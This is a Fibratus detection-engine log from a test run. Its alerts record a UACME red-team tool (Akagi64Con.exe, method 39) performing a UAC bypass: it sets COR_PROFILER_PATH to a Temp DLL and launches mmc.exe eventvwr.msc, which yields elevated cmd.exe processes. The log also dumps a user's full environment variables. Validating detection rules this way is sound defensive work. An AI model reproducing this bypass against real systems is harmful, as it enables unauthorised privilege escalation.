yara ........................... [ skip-registry=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false excluded-files=>[] skip-mmaps=>false skip-allocs=>false enabled=>false fastscan=>true excluded-procs=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-01T16:21:17+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-01T16:21:19+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-01T16:21:42+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 1211 + Pid: 17004 + Tid: 7956 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 16:21:41.1059675 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3878af5ee30, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 17004 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 1675 + Pid: 2244 + Tid: 560 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 16:21:41.9192858 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 4634b9000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff80800968b080, name➜ cmd.exe, pid➜ 4040, ppid➜ 2244, real_ppid➜ 2244, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 16:21:41.9192338 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 2244 + Ppid: 17004 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T16:22:01+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 2646 + Pid: 7064 + Tid: 12212 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 16:22:00.1787143 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3878af5ee30, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 7064 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 3172 + Pid: 9788 + Tid: 5780 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 16:22:00.8529957 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 42f515000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808009422080, name➜ cmd.exe, pid➜ 5824, ppid➜ 9788, real_ppid➜ 9788, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 16:22:00.8529462 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack + + Pid: 9788 + Ppid: 7064 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T16:23:33+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-01T16:23:33+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-01T16:23:34+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-01T16:25:59+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-01T16:25:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-01T16:25:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-01T16:25:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-01T16:25:59+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-01T16:25:59+01:00 level=info msg=bootstrapping with pid 18104. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-01T16:25:59+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ to=>[] enabled=>false content-type=>text/html use-template=>true port=>25] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ min-buffers=>16 max-buffers=>36 enable-audit-api=>true enable-threadpool=>false enable-fileio=>true enable-registry=>true enable-handle=>false stack-enrichment=>true buffer-size=>512 enable-dns=>false flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true enable-vamap=>true enable-net=>true enable-thread=>true enable-mem=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-size=>100 level=>info max-age=>0 log-stdout=>true formatter=>text] + output ......................... [ elasticsearch=>[ template-name=>fibratus bulk-workers=>1 gzip-compression=>false healthcheck-interval=>10s trace-log=>false sniff=>false timeout=>5s servers=>[http://127.0.0.1:9200] flush-period=>1s index-name=>fibratus healthcheck=>true healthcheck-timeout=>5s enabled=>false] http=>[ endpoints=>[] method=>POST enable-gzip=>false tls-insecure-skip-verify=>false serializer=>json timeout=>5s enabled=>false] 